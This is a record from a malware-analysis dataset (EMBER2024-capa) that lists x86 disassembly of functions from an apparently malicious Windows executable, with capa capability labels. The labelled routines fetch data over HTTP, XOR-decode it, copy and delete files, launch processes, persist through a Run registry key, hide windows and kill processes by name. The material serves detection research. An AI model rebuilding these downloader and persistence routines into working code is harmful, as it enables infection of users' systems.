joyce8/EMBER2024-capa huggingface dataset:
Function at 0x450f34
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x450f4b
add esp, 0xfffffff0
call fcn.00404334
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a814
mov eax, dword [0x45a8b8]
cmp word [eax + 2], 0
jne 0x450f73
mov eax, dword [0x45a8b8]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00452ba4
mov eax, dword [0x45a960]
cmp word [eax + 2], 0
jne 0x450f8d
mov eax, dword [0x45a960]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00452db0
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4125c4]
call fcn.00403ff8
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4125c4]
call fcn.00403ff8
mov dword [ebx + 0x98], eax
mov dl, 1
mov eax, dword [0x4125c4]
call fcn.00403ff8
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x41f03c]
call fcn.00424e84
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x451144
mov eax, dword [0x45a7e8]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00425258
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x453474
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x45a7e8]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040d1d8
test eax, eax
je 0x451094
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00409468
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040d20c
test eax, eax
je 0x4510a8
mov byte [eax], 0
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_CharNextA_1
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004050ac
mov byte [ebx + 0xd4], 0
push ebx
push 0x4526b4
call fcn.0041b990
mov dword [ebx + 0xc8], eax
mov eax, dword [0x45a6f4]
cmp byte [eax], 0
jne 0x4510f9
mov eax, ebx
call fcn.00451288
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.0045364c
mov eax, ebx
call fcn.004541b0
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x451139
call fcn.0040438c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x451508
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x30]
test eax, eax
je 0x4515a7
cmp dword [ebx + 0x94], 0
jne 0x4515a1
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x451490
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4515a1
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x451567
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4515a1
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414968
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x451576
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4517c0
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x45fc90]
cmp dword [eax + 0x30], 0
je 0x45191d
test bl, bl
jne 0x45186e
cmp dword [esi + 0x9c], 0
jne 0x451863
mov eax, esi
call fcn.0045402c
push eax
push 0x4516ec
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x44], 0
je 0x451834
mov eax, dword [0x45fc90]
call fcn.0045461c
test al, al
je 0x451834
mov eax, dword [0x45fcb4]
call fcn.00405d20
mov edi, eax
cmp edi, 0
jl 0x451834
push 0
mov eax, dword [0x45fcb4]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x45181e
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x451863
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.00414968
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x451843
inc dword [esi + 0x9c]
jmp 0x45191d
cmp dword [esi + 0x9c], 0
jle 0x45191d
dec dword [esi + 0x9c]
cmp dword [esi + 0x9c], 0
jne 0x45191d
cmp dword [esi + 0x44], 0
je 0x4518c9
mov eax, dword [0x45fc90]
call fcn.0045461c
test al, al
je 0x4518c9
mov eax, dword [0x45fcb4]
call fcn.00405d20
mov edi, eax
cmp edi, 0
jl 0x4518c9
push 5
mov eax, dword [0x45fcb4]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4518b3
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4518f8
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.00414968
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4518d8
mov eax, dword [esi + 0x98]
mov edx, dword [eax]
call dword [edx + 8]
push 0
mov eax, 0x45fcb4
mov ecx, 1
mov edx, dword [0x4516cc]
call fcn.00405ed4
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x4523b0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffefc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x45241a
mov eax, ebx
call fcn.0045461c
test al, al
jne 0x45241a
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404f2c
mov eax, dword [esi]
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x100]
test eax, eax
je 0x452407
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x452427
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404e90
jmp 0x452427
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404e90
add esp, 0x104
pop esi
pop ebx
ret

Function at 0x453830
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45389e
mov eax, esi
call fcn.0043d5b0
test al, al
je 0x45389e
mov eax, dword [ebx + 0x84]
call fcn.0043d2a4
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45389e
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x453892
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043d2a4
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.00435460
jmp 0x45389e
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.0045366c
pop esi
pop ebx
ret
Function at 0x454dfc
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov ebx, eax
mov esi, 0x45fd30
xor eax, eax
push ebp
push 0x45504a
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004032ec
lea edx, [ebp - 8]
mov eax, 0x26
call fcn.00408ce4
mov ecx, dword [ebp - 8]
lea eax, [ebp - 4]
mov edx, 0x455060
call fcn.00405154
mov eax, dword [ebp - 4]
call fcn.004052cc
push eax
push 0xffffffffffffffff
push 0
call fcn.00406e18
lea edx, [ebp - 0x10]
mov eax, 0x27
call fcn.00408ce4
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 0x455060
call fcn.00405154
mov eax, dword [ebp - 0xc]
call fcn.004052cc
push eax
push 0
push 0x1f0001
call sub.kernel32.dll_OpenMutexA
test eax, eax
jbe 0x454e9e
xor eax, eax
call fcn.00404e24
xor eax, eax
mov dword [0x45fd1c], eax
push 0x104
push 0x45fd58
call sub.kernel32.dll_GetWindowsDirectoryA
push 0x104
push 0x45fe60
call sub.kernel32.dll_GetSystemDirectoryA
mov eax, 0x45fd2c
mov edx, 0x45fd58
mov ecx, 0x106
call fcn.004050ac
mov eax, esi
mov edx, 0x45fe60
mov ecx, 0x106
call fcn.004050ac
mov eax, 0x45fd2c
mov edx, 0x455070
call fcn.00405108
mov eax, esi
mov edx, 0x455070
call fcn.00405108
jmp 0x454f0f
mov edx, 0x45fd34
xor eax, eax
call fcn.0040328c
mov eax, 0x45fd38
mov ecx, 0x45507c
mov edx, dword [0x45fd2c]
call fcn.00405154
mov eax, 0x45fd3c
mov ecx, 0x455090
mov edx, dword [esi]
call fcn.00405154
mov eax, 0x45fd40
mov ecx, 0x4550a8
mov edx, dword [esi]
call fcn.00405154
mov eax, 0x45fd48
mov ecx, 0x4550c0
mov edx, dword [esi]
call fcn.00405154
mov eax, 0x104
call fcn.00409654
mov esi, eax
push 0xffffffffffffffff
push 0x26
push esi
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
lea eax, [ebp - 0x114]
mov edx, esi
call fcn.00403ad4
lea edx, [ebp - 0x114]
lea eax, [ebp - 0x14]
call fcn.004050a0
mov edx, dword [ebp - 0x14]
mov eax, 0x45fd54
mov ecx, 0x455070
call fcn.00405154
push dword [0x45fd54]
push 0x4550d8
push 0x4550f4
mov eax, 0x45fd4c
mov edx, 3
call fcn.004051d0
mov eax, 0x45fd50
mov ecx, 0x45510c
mov edx, dword [0x45fd2c]
call fcn.00405154
xor eax, eax
mov dword [0x45fd18], eax
xor eax, eax
mov dword [0x45fd10], eax
xor eax, eax
mov dword [0x45fd14], eax
mov byte [0x45fd0d], 0
mov eax, 0x45ff70
mov edx, 0x455124
call fcn.00404e90
mov eax, ebx
call fcn.00456364
mov edx, 0x3c
mov eax, ebx
call fcn.00455c94
mov eax, ebx
call fcn.00455158
mov eax, ebx
call fcn.004553f8
mov eax, ebx
call fcn.00455d54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x455051
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00404e60
ret
Function at 0x455158
Capabilities:
Copy file
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, 7
push 0
push 0
dec ecx
jne 0x455160
push ebx
push esi
push edi
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x45537d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x45fd0c], 0
xor eax, eax
mov dword [0x45fd14], eax
lea eax, [ebp - 0x18]
mov ecx, 0x455394
mov edx, dword [0x45fd30]
call fcn.00405154
mov ecx, dword [ebp - 0x18]
mov edx, 0x4553ac
mov eax, dword [ebp - 8]
call fcn.00456178
lea eax, [ebp - 0x1c]
mov ecx, 0x455394
mov edx, dword [0x45fd30]
call fcn.00405154
mov eax, dword [ebp - 0x1c]
call fcn.00409190
test al, al
je 0x4552fd
lea eax, [ebp - 0x20]
mov ecx, 0x455394
mov edx, dword [0x45fd30]
call fcn.00405154
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 8]
call fcn.00456590
cmp eax, 0x200
jle 0x4552fd
push 0
lea eax, [ebp - 0x24]
mov ecx, 0x455394
mov edx, dword [0x45fd30]
call fcn.00405154
mov ecx, dword [ebp - 0x24]
mov dl, 1
mov eax, dword [0x412be8]
call fcn.00416c98
mov ebx, eax
lea edx, [ebp - 0x12]
mov ecx, 9
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, ebx
call fcn.00404028
mov esi, 9
lea eax, [ebp - 0x12]
mov edx, dword [0x45ff70]
mov dword [ebp - 0x28], edx
mov edx, dword [ebp - 0x28]
test edx, edx
je 0x455251
sub edx, 4
mov edx, dword [edx]
test edx, edx
jle 0x45526d
mov ecx, 1
mov ebx, dword [0x45ff70]
movzx ebx, byte [ebx + ecx - 1]
xor bl, byte [eax]
mov byte [eax], bl
inc ecx
dec edx
jne 0x45525a
inc eax
dec esi
jne 0x45523c
mov esi, 9
lea ebx, [ebp - 0x12]
lea eax, [ebp - 0x2c]
movzx edx, byte [ebx]
call fcn.00405024
mov edx, dword [ebp - 0x2c]
lea eax, [ebp - 4]
call fcn.00405108
inc ebx
dec esi
jne 0x455279
mov eax, dword [ebp - 4]
mov edx, 0x4553d8
call fcn.00405264
jne 0x4552fd
push 0
lea eax, [ebp - 0x30]
mov ecx, 0x4553ec
mov edx, dword [0x45fd30]
call fcn.00405154
mov eax, dword [ebp - 0x30]
call fcn.004052cc
push eax
lea eax, [ebp - 0x34]
mov ecx, 0x455394
mov edx, dword [0x45fd30]
call fcn.00405154
mov eax, dword [ebp - 0x34]
call fcn.004052cc
push eax
call sub.kernel32.dll_CopyFileA
cmp dword [0x45fd14], 0
je 0x4552fd
mov byte [0x45fd0c], 1
jmp 0x4552fd
xor eax, eax
push ebp
push 0x45533c
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0x4553ec
lea eax, [ebp - 0x38]
mov edx, dword [0x45fd30]
call fcn.00405154
mov eax, dword [ebp - 0x38]
call fcn.00409190
test al, al
je 0x455332
mov eax, dword [ebp - 8]
call fcn.00456730
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x45534d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x455384
lea eax, [ebp - 0x38]
mov edx, 4
call fcn.00404e60
lea eax, [ebp - 0x24]
mov edx, 4
call fcn.00404e60
lea eax, [ebp - 4]
call fcn.00404e3c
ret
Function at 0x4553f8
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebx
push esi
push ecx
mov ebx, eax
cmp dword [0x45fd14], 0x27
jle 0x4554be
mov eax, dword [0x45fd48]
call fcn.00409190
test al, al
je 0x455435
mov esi, dword [0x45fd48]
mov dword [esp], esi
mov eax, dword [esp]
call fcn.004052cc
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov ecx, dword [0x45fd48]
mov edx, 0x4554cc
mov eax, ebx
call fcn.00456178
jmp 0x455453
mov eax, dword [0x45fd48]
call fcn.00409190
test al, al
je 0x4554be
mov edx, dword [0x45fd48]
mov eax, ebx
call fcn.00456590
cmp eax, 0xc350
jle 0x4554be
mov eax, dword [0x45ff78]
call fcn.004052cc
push eax
push 0xffffffffffffffff
push 0
call fcn.00406e18
mov dword [0x45ff7c], eax
mov edx, 2
mov eax, ebx
call fcn.00455c94
push 1
push 0
push 0
mov eax, dword [0x45fd48]
call fcn.004052cc
push eax
push 0x4554f4
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
call fcn.00404e24
pop edx
pop esi
pop ebx
ret

Function at 0x456178
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x420], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.004052bc
mov eax, dword [ebp - 8]
call fcn.004052bc
xor eax, eax
push ebp
push 0x456340
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xffff
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x412be8]
call fcn.00416c98
mov dword [ebp - 0x1c], eax
lea edx, [ebp - 0x420]
mov eax, 0x27
call fcn.00408ce4
mov ecx, dword [ebp - 0x420]
lea eax, [ebp - 0xc]
mov edx, 0x456358
call fcn.00405154
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.004052cc
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x456307
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004052cc
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0x18], eax
xor eax, eax
push ebp
push 0x4562e9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
push eax
push 0x400
lea eax, [ebp - 0x41c]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.wininet.dll_InternetReadFile
xor esi, esi
lea ebx, [ebp - 0x41c]
lea eax, [esi + 0xc]
cmp eax, 0x400
jge 0x45629f
cmp byte [ebx], 0x23
jne 0x45629f
cmp byte [ebx + 1], 0x14
jne 0x45629f
cmp byte [ebx + 2], 0x62
jne 0x45629f
mov edi, 3
mov eax, 0xff
call fcn.00403314
lea edx, [edi + esi]
mov byte [ebp + edx - 0x41c], al
inc edi
cmp edi, 0xa
jne 0x456285
inc esi
inc ebx
cmp esi, 0x400
jne 0x456265
cmp dword [ebp - 0x10], 0
jbe 0x4562c0
lea edx, [ebp - 0x41c]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
call fcn.00416a48
cmp dword [ebp - 0x10], 0
jne 0x456244
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4562f0
mov eax, dword [ebp - 0x1c]
call fcn.00404028
mov eax, dword [ebp - 0x18]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
Function at 0x456364
Capabilities:
Create process on windows
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004554fc
xor eax, eax
push ebp
push 0x45639e
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [0x45fd3c]
mov eax, dword [ebp - 4]
call fcn.00455fcc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4563af
xor eax, eax
push ebp
push 0x4563d7
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [0x45fd38]
mov eax, dword [ebp - 4]
call fcn.00455fcc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4563e8
xor eax, eax
push ebp
push 0x456423
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x45fd40]
call fcn.00409190
test al, al
jne 0x456419
push 1
mov ecx, 0x456530
mov edx, dword [0x45fd40]
mov eax, dword [ebp - 4]
call fcn.00456c6c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x456434
xor eax, eax
push ebp
push 0x456469
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x456540
mov eax, dword [0x45fd3c]
push eax
mov ecx, 0x456558
mov edx, 0x80000002
mov eax, dword [ebp - 4]
call fcn.00455ef0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x45647a
xor eax, eax
push ebp
push 0x4564af
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
mov eax, dword [0x45fd40]
call fcn.004052cc
push eax
push 0x456588
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4564c0
mov eax, dword [0x45fd34]
mov edx, dword [0x45fd3c]
call fcn.00405264
je 0x45651f
xor eax, eax
push ebp
push 0x456507
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
mov eax, dword [0x45fd3c]
call fcn.004052cc
push eax
push 0x456588
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x456518
xor eax, eax
call fcn.00404e24
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x456abc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x456c29
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
xor eax, eax
mov dword [ebp - 8], eax
xor ebx, ebx
push ebp
push 0x456bed
push dword fs:[ebx]
mov dword fs:[ebx], esp
lea eax, [ebp - 0x18]
mov ecx, 0x456c40
mov edx, dword [0x45fd30]
call fcn.00405154
mov eax, dword [ebp - 0x18]
call fcn.00409190
test al, al
je 0x456b3b
push 0
lea eax, [ebp - 0x1c]
mov ecx, 0x456c40
mov edx, dword [0x45fd30]
call fcn.00405154
mov ecx, dword [ebp - 0x1c]
mov dl, 1
mov eax, dword [0x412be8]
call fcn.00416c98
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx]
mov dword [0x45fd20], eax
mov dword [0x45fd24], edx
mov eax, dword [0x45fd20]
call fcn.00402ea0
mov dword [0x45fd28], eax
mov edx, dword [0x45fd28]
mov ecx, dword [0x45fd20]
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [0x45fd20]
dec eax
test eax, eax
jl 0x456bd7
inc eax
mov dword [ebp - 0x10], eax
xor ecx, ecx
mov eax, dword [0x45ff70]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x456ba1
mov eax, dword [ebp - 0x14]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
test eax, eax
jle 0x456bc5
mov edx, 1
mov ebx, dword [0x45ff70]
movzx ebx, byte [ebx + edx - 1]
mov esi, dword [0x45fd28]
xor byte [esi + ecx], bl
inc edx
dec eax
jne 0x456bad
inc ecx
dec dword [ebp - 0x10]
jne 0x456b82
jmp 0x456bd7
mov eax, dword [ebp - 8]
call fcn.00404028
mov byte [ebp - 9], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x456c04
cmp byte [ebp - 9], 1
je 0x456ae7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x456c30
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00404e60
ret
Function at 0x456f54
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x148], ecx
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x130], ecx
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.004052bc
xor eax, eax
push ebp
push 0x4570d5
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
xor edx, edx
mov eax, 2
call fcn.00454aa0
mov esi, eax
mov dword [ebp - 0x12c], 0x128
lea edx, [ebp - 0x12c]
mov eax, esi
call fcn.00454ac0
mov ebx, eax
jmp 0x4570a1
lea eax, [ebp - 0x138]
lea edx, [ebp - 0x108]
mov ecx, 0x104
call fcn.004050ac
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.0040932c
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00408848
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.00408848
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00405264
je 0x457078
lea eax, [ebp - 0x144]
lea edx, [ebp - 0x108]
mov ecx, 0x104
call fcn.004050ac
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.00408848
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.00408848
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00405264
jne 0x457092
push 0
mov eax, dword [ebp - 0x124]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov edi, eax
lea edx, [ebp - 0x12c]
mov eax, esi
call fcn.00454ae0
mov ebx, eax
test ebx, ebx
jne 0x456fd3
push esi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4570dc
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00404e60
lea eax, [ebp - 4]
call fcn.00404e3c
ret